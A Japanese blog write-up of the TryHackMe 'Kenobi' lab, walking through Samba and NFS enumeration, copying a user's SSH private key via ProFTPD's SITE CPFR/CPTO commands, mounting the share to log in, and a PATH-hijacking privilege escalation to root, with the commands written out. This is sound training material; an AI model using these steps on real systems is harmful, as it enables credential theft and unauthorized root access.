TryHackMe

TryHackMe(THM): Kenobi -Writeup

攻略するRoomは気分で決める方、のみぞうです。

Linuxマシンの攻略に触れたいなと思ってビギナーパスの中からこちらを選びました。

スターウォーズに全然詳しくないのでなぜこのRoomがケノービと名付けられているのかピンと来ません。だれか教えて。

Task 1 Deploy the vulnerable machine

Make sure you’re connected to our network and deploy the machine

No answer needed

Scan the machine with nmap, how many ports are open?

お約束のポートスキャン

export IP = "ターゲットマシンのIPアドレス"
nmap -sV -sC -vv -oN initial.nmap $IP




Task 2 Enumerating Samba for shares

Using the nmap command above, how many shares have been found?

nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse $IP

を使うと共有の数がわかる。

Once you’re connected, list the files on the share. What is the file can you see?

共有かかってるフォルダに

smbclient //<ip>/anonymous

で接続する。途中でパスワードを聞かれるがアノニマスなのでそのままEnterを押す。

lsでファイルの一覧表示。

そのままgetしてもよいが、まとめてダウンロードしたいときは

smbget -R smb://$IP/anonymous

What port is FTP running on?

そのままだけど一応ダウンロードしてきたログファイルをみる。

What mount can we see?

ポート111のrpcbindを探索をする。

nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount $IP

Task 3 Gain initial access with ProFtpd

What is the version?

ためしに繋いでみる

How many exploits are there for the ProFTPd running?

SearchsploitでProFTPDの脆弱性をさがす。

# metasploitを起動
msfconsole

# searchsploit使って検索
searchsploit ProFTPD 1.3.5

We know that the FTP service is running as the Kenobi user (from the file on the share) and an ssh key is generated for that user.

No answer needed

sshの秘密鍵をマウント可能な領域に移動する。

nc $IP 21

# コピー元のファイルを指定する
SITE CPFR /home/kenobi/.ssh/id_rsa

# コピー先を指定する
SITE CPTO /var/tmp/id_rsa

We knew that the /var directory was a mount we could see (task 2, question 4). So we’ve now moved Kenobi’s private key to the /var/tmp directory.

No answer needed

What is Kenobi’s user flag (/home/kenobi/user.txt)?

varディレクトリをマウントする

mkdir /mnt/kenobiNFS
mount $IP:/var /mnt/kenobiNFS




秘密鍵をコピーして使う(chmodで権限を追加する必要がある)

cp /mnt/kenobiNFS/tmp/id_rsa .
chmod 600 id_rsa
ssh -i id_rsa kenobi@$IP

ケノービとしてログインができる。これがフォースの力…(ちがう)

Task 4 Privilege Escalation with Path Variable Manipulation

What file looks particularly out of the ordinary?

SUIDが設定されたバイナリをさがす

find / -perm -u=s -type f 2>/dev/null

答えは/usr/bin/menuなんだけど、どうしてこれに目をつけるのかよくわからない(総当たりしちゃった…)

Run the binary, how many options appear?

実行してみる

this file being run as root it runs our shell as root!

No answer needed

echo /bin/sh > curl
chmod 777 curl
export PATH=/tmp:$PATH
/usr/bin/menu

すごい。こんなこともできるんだなー。

What is the root flag (/root/root.txt)?

cat /root/root.txt

今回はこのへんで。